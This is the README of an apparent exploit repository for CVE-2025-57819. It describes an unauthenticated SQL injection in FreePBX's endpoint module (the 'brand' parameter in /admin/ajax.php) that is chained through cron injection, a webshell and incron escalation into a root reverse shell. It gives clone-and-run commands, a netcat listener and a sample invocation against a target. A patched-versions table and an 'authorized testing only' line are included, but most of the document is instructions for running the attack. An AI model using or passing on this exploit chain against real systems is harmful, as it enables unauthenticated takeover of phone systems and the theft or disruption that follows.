
Full-chain CVE-2025-57819 PoC for FreePBX 15, 16, and 17: unauthenticated SQLi to RCE and root takeover.
Full-chain PoC for CVE-2025-57819. Unauthenticated error-based SQL injection in FreePBX's endpoint module chains into a root shell via cron job injection and incron privilege escalation.
For authorized testing and research only. Do not use against systems you don't own.
SQLi (EXTRACTVALUE) → INSERT cron job → webshell drop → incron trigger → root shell
/admin/ajax.phpasteriskfwconsole hook as rootgit clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt
python3 CVE-2025-57819.py <target> <lhost> <lport> [--cleanup]
Start a listener first:
nc -lvnp 9999
Then run:
python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999
--cleanup removes the webshell and cron job after exploitation.
FreePBX with the endpoint module installed. The brand parameter in /admin/ajax.php is passed unsanitized into a SQL query.
| FreePBX | Patched Version |
|---|---|
| 15.x | 15.0.66 |
| 16.x | 16.0.89 |
| 17.x | 17.0.3 |
ozcanpng — github.com/ozcanpng — ozcanpng.dev